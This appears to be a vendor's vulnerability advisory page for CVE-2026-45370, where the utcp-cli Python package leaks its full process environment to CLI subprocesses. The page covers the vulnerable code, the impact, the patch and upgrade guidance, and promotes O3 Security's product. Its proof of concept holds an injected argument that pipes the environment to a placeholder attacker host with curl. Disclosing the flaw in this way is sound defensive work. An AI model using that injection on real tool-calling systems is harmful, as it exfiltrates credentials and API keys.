CVE-2026-45370
HIGHCVE-2026-45370 is a high-severity (CVSS 7.7) CWE-526 vulnerability in utcp-cli. O3 Security confirms whether CVE-2026-45370 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45370.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-45370 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
utcp-cliReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.
Vulnerable Code
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
env = os.environ.copy() # All secrets inherited
if provider.env_vars:
env.update(provider.env_vars)
return env
Impact
Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens
Proof of Concept
# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}
# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}
# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets
Patched
Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:
null(default): a small built-in OS-specific allowlist (PATH,HOME,LANGon Unix;PATH,PATHEXT,SYSTEMROOT,USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.[]: strict mode -- nothing from the host environment reaches the subprocess; onlyenv_varsis propagated.["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).
env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.
Mitigation
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.
Credit
Reported by @ZeroXJacks.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | utcp-cli | all versions | 1.1.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for utcp-cli. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update utcp-cli to 1.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45370 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-45370 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-45370. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-45370 in your dependencies?
O3 detects CVE-2026-45370 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.